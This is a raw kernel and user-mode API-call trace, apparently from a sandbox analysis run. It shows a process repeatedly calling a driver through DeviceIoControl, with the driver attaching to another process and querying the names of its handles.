[0122.359] ObQueryNameString (in: Object=0xfffffa8003307560, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.359] ObfDereferenceObject (Object=0xfffffa8003307560) returned 0x1 [0122.359] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.359] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.359] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.359] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.359] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.359] PsAcquireProcessExitSynchronization () returned 0x0 [0122.359] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.359] ObReferenceObjectByHandle (in: Handle=0x244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80033192d0, HandleInformation=0x0) returned 0x0 [0122.359] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.359] PsReleaseProcessExitSynchronization () returned 0x2 [0122.359] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.359] ObQueryNameString (in: Object=0xfffffa80033192d0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.359] ObfDereferenceObject (Object=0xfffffa80033192d0) returned 0x1 [0122.359] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.359] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.359] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.360] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.360] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.360] PsAcquireProcessExitSynchronization () returned 0x0 [0122.360] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.360] ObReferenceObjectByHandle (in: Handle=0x24c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032ff070, HandleInformation=0x0) returned 0x0 [0122.360] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.360] PsReleaseProcessExitSynchronization () returned 0x2 [0122.360] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.360] ObQueryNameString (in: Object=0xfffffa80032ff070, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.360] ObfDereferenceObject (Object=0xfffffa80032ff070) returned 0x2 [0122.360] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.360] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.360] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.360] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.360] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.360] PsAcquireProcessExitSynchronization () returned 0x0 [0122.360] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.360] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f7abd0, HandleInformation=0x0) returned 0x0 [0122.360] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.360] PsReleaseProcessExitSynchronization () returned 0x2 [0122.360] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.360] ObQueryNameString (in: Object=0xfffffa8002f7abd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.360] ObfDereferenceObject (Object=0xfffffa8002f7abd0) returned 0x1 [0122.360] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.360] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.360] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.360] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.360] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.360] PsAcquireProcessExitSynchronization () returned 0x0 [0122.360] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.360] ObReferenceObjectByHandle (in: Handle=0x2a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.360] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.360] PsReleaseProcessExitSynchronization () returned 0x2 [0122.360] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.360] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.360] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.361] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.361] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.361] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.361] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.361] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.361] PsAcquireProcessExitSynchronization () returned 0x0 [0122.361] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.361] ObReferenceObjectByHandle (in: Handle=0x2a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.361] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.361] PsReleaseProcessExitSynchronization () returned 0x2 [0122.361] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.361] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.361] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.361] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.361] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.361] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.361] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0122.361] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.361] PsAcquireProcessExitSynchronization () returned 0x0 [0122.361] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.361] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003431070, HandleInformation=0x0) returned 0x0 [0122.361] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.361] PsReleaseProcessExitSynchronization () returned 0x2 [0122.361] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.361] ObQueryNameString (in: Object=0xfffffa8003431070, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.361] ObfDereferenceObject (Object=0xfffffa8003431070) returned 0x1 [0122.361] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.361] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.361] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.361] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0122.361] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.361] PsAcquireProcessExitSynchronization () returned 0x0 [0122.361] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.362] ObReferenceObjectByHandle (in: Handle=0x42c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800342da70, HandleInformation=0x0) returned 0x0 [0122.362] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.362] PsReleaseProcessExitSynchronization () returned 0x2 [0122.362] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.362] ObQueryNameString (in: Object=0xfffffa800342da70, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.362] ObfDereferenceObject (Object=0xfffffa800342da70) returned 0x2 [0122.362] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.362] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.362] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.362] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0122.362] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.362] PsAcquireProcessExitSynchronization () returned 0x0 [0122.362] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.362] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800352fd10, HandleInformation=0x0) returned 0x0 [0122.362] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.362] PsReleaseProcessExitSynchronization () returned 0x2 [0122.362] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.362] ObQueryNameString (in: Object=0xfffffa800352fd10, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.362] ObfDereferenceObject (Object=0xfffffa800352fd10) returned 0x1 [0122.362] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.362] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.362] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.362] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0122.362] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.362] PsAcquireProcessExitSynchronization () returned 0x0 [0122.362] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.362] ObReferenceObjectByHandle (in: Handle=0x520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800352d3b0, HandleInformation=0x0) returned 0x0 [0122.362] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.363] PsReleaseProcessExitSynchronization () returned 0x2 [0122.363] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.363] ObQueryNameString (in: Object=0xfffffa800352d3b0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.363] ObfDereferenceObject (Object=0xfffffa800352d3b0) returned 0x1 [0122.363] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.363] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.363] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.363] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.363] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.363] PsAcquireProcessExitSynchronization () returned 0x0 [0122.363] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.363] ObReferenceObjectByHandle (in: Handle=0x524, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0019c4700, HandleInformation=0x0) returned 0x0 [0122.363] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.363] PsReleaseProcessExitSynchronization () returned 0x2 [0122.363] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.363] ObQueryNameString (in: Object=0xfffff8a0019c4700, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.363] ObfDereferenceObject (Object=0xfffff8a0019c4700) returned 0x1 [0122.363] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.363] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.363] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.363] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0122.363] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.363] PsAcquireProcessExitSynchronization () returned 0x0 [0122.363] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.363] ObReferenceObjectByHandle (in: Handle=0x534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80028d9070, HandleInformation=0x0) returned 0x0 [0122.363] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.363] PsReleaseProcessExitSynchronization () returned 0x2 [0122.363] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.363] ObQueryNameString (in: Object=0xfffffa80028d9070, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.364] ObfDereferenceObject (Object=0xfffffa80028d9070) returned 0x1 [0122.364] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.364] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.364] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.364] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.364] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.364] PsAcquireProcessExitSynchronization () returned 0x0 [0122.364] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.364] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0016d24a0, HandleInformation=0x0) returned 0x0 [0122.364] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.364] PsReleaseProcessExitSynchronization () returned 0x2 [0122.364] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.364] ObQueryNameString (in: Object=0xfffff8a0016d24a0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.364] ObfDereferenceObject (Object=0xfffff8a0016d24a0) returned 0x1 [0122.364] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.364] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.364] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.364] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.364] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.364] PsAcquireProcessExitSynchronization () returned 0x0 [0122.364] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.364] ObReferenceObjectByHandle (in: Handle=0x548, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80035908c0, HandleInformation=0x0) returned 0x0 [0122.364] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.364] PsReleaseProcessExitSynchronization () returned 0x2 [0122.364] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.364] ObQueryNameString (in: Object=0xfffffa80035908c0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.364] ObfDereferenceObject (Object=0xfffffa80035908c0) returned 0x1 [0122.364] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.364] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.364] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.364] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.365] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.365] PsAcquireProcessExitSynchronization () returned 0x0 [0122.365] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.365] ObReferenceObjectByHandle (in: Handle=0x55c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003409d00, HandleInformation=0x0) returned 0x0 [0122.365] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.365] PsReleaseProcessExitSynchronization () returned 0x2 [0122.365] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.365] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.365] ObfDereferenceObject (Object=0xfffffa8003409d00) returned 0x1 [0122.365] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.365] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.365] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.365] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0122.365] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.365] PsAcquireProcessExitSynchronization () returned 0x0 [0122.365] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.365] ObReferenceObjectByHandle (in: Handle=0x570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003571970, HandleInformation=0x0) returned 0x0 [0122.365] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.365] PsReleaseProcessExitSynchronization () returned 0x2 [0122.365] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.365] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.365] ObfDereferenceObject (Object=0xfffffa8003571970) returned 0x1 [0122.365] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.365] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.365] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.365] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 